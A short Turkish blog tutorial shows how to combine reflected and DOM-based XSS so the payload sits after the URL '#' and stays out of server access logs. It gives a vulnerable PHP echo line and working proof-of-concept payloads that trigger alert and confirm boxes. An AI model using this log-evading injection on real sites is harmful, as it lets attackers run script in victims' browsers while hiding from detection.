1- test.php?param=<script>alert("HEYYYYYYYYYYYYYY")</script> şeklinde bir saldırı vektörü oluşturalım. (Sunucu tarafındaki kod parçası : <?php echo $_GET["param"]; ?> )
2- "tail -f access.log" komutu ile access.log dosyasını gerçek zamanlı takip ediyoruz.
Görüldüğü üzere param değişkeninden aldığımız veri loglarda kayıtlı bir şekilde durmakta. Şimdi saldırı vektörümüzü görünmez yapmaya çalışalım. Bunun için Dom XSS yöntemiyle ile Reflected XSS yöntemini birleştiriyoruz.
Saldırı vektörümüz aşağıdaki gibi olmalıdır.
?param=<svg/onload=innerHTML=location.hash//#<img src=1 onerror=confirm("Fire!")>
Saldırı vektörümüzü görünmez yapmak için, SVG etiketinin onload olayını kullanarak, Source ve Sink dinamiklerini oluşturduk. Daha sonra "#" ifadesinden sonraki alanı JavaScript engine'in içine gönderdik.
"tail -f" komutu ile takip ettiğimiz access.log dosyasına tekrar bakalım.
Görüldüğü üzere localtion.hash ifadesinden sonraki kısım tarayıcı da çalıştığı için sunucu tarafında görünmez olmuştur.
Test için:
Firefox
Linux Mint
EOF



0 yorum:
Yorum Gönder